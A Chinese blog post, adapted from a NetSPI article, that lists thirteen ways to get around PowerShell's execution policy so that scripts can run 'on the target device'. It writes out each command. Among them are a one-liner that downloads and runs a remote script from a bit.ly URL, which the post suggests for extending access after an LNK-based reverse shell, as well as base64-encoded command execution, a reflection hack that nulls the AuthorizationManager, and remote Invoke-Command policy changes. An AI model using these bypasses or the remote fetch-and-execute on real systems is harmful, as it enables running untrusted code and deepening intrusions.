AD

多种方法绕过POWERSHELL的执行策略

概述

       ps1格式的脚本,在win上执行,是否可以执行成功,取决于powershell的执行策略。win系统的powershell默认情况下,其执行策略为” Restricted”,即脚本无法运行的情况。在该模式下,任何ps1脚本均无法正常运行。可以在powershell窗口中使用”Get-ExecutionPolicy”查看当前策略。除Restricted外,还有以下三种执行策略:
       RemoteSigned - 本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)。
AllSigned 仅当脚本由受信任的发布者签名才能运行。
Unrestricted 脚本执行不受限制,不管来自哪里,也不管它们是否有签名。
       本文介绍多个方法绕过powershell执行策略的方法,可以实现在目标设备上执行ps1脚本或命令。

bypass

1.  直接在powershell中执行代码

       使用powershell打开PS的对话框后,在其中输入要执行的ps1脚本的代码,可以无视执行策略,直接执行。但该方法只能适用于本地代码的执行。
       

2.  使用echo管道进命令传入PS标准输入

可以使用echo管道命令,将要执行的命令传入ps的标准输输入。例如:“Echo Write-Host "bypass02."  | PowerShell.exe -noprofile -”


3.  使用管道,将要执行的文件传入PS

可以使用CMD下的type或者PS下的Get-Content命令,将需要执行的ps1文件内容,作为参数传递到PS的标准输入中。

CMD命令

“TYPE .\bypass3.ps1 | PowerShell.exe -noprofile -”

PS命令

“Get-Content .\bypass3.ps1 | PowerShell.exe -noprofile -”


4.  从指定URL下载并执行

该方法可以从指定的URL下载一个ps1脚本,并正常执行。” powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"”
可以将ps1脚本上传至git等代码托管平台。
暂时未执行成功,会提示使用“1”个参数调用“DownloadString”时发生异常:“基础连接已经关闭: 接收时发生错误。”
       在通过LNK快捷方式方法,获取到反弹shell后,可以使用该方法,进一步深入扩展。

5.  使用COMMAND开关

使用PSCOMMAND开关,可以直接执行命令。“Powershell -command "Write-Host 'bypass 05.'"” 或者“Powershell -c "Write-Host 'bypass 05.'"”
该方法之能执行一些简单的脚本,一些多行的脚本不适用。


6.  使用EncodeCommand开关

使用PSEncodeCommand开关,可以将一个Unicode/base64编码的字符串作为命令进行执行,这样避免了在使用COMMAND开关时遇到的一些特殊字符问题。
$command = "Write-Host 'bypass 06.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand


简写:

       “powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA”

7.  使用Invoke-Command参数

该方法比较给力的一点儿在于,可以通过该方法,远程攻击者可以改变PS的执行策略。
“invoke-command -scriptblock {Write-Host "bypass 07."}”

尝试改变执行策略:
“invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force”
本地未测试成功,提示“[server01] 连接到远程服务器失败,错误消息如下:”

8.  Invoke-Command参数2

“Get-Content .\bypass.ps1 | Invoke-Expression”

可以简写为:“GC .\bypass.ps1 | iex”

9.  使用Bypass标志

win系统中,可以使用Bypass标志,绕过执行策略,直接执行ps1脚本命令。
“PowerShell.exe -ExecutionPolicy Bypass -File .\bypass.ps1”


10.        使用Unrestricted标志

bypass标志类似。
“PowerShell.exe -ExecutionPolicy UnRestricted -File .\bypass.ps1”

11.        使用Remote-Signed标志

bypass标志类似。
“PowerShell.exe -ExecutionPolicy Remote-Signed -File .\bypass.ps1”

12.        通过AuthorizationManager擦除认证

定义一个Disable-ExecutionPolicy函数,调用成功后,会将AuthorizationManager设置为NULL,并且持续到PS交互窗口关闭。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy
.\bypass.ps1

13.        通过注册表修改执行策略

“HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell”



其他


       来自:https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

Ubiquiti_Networks_UniFi_Cloud_Key_authed_rce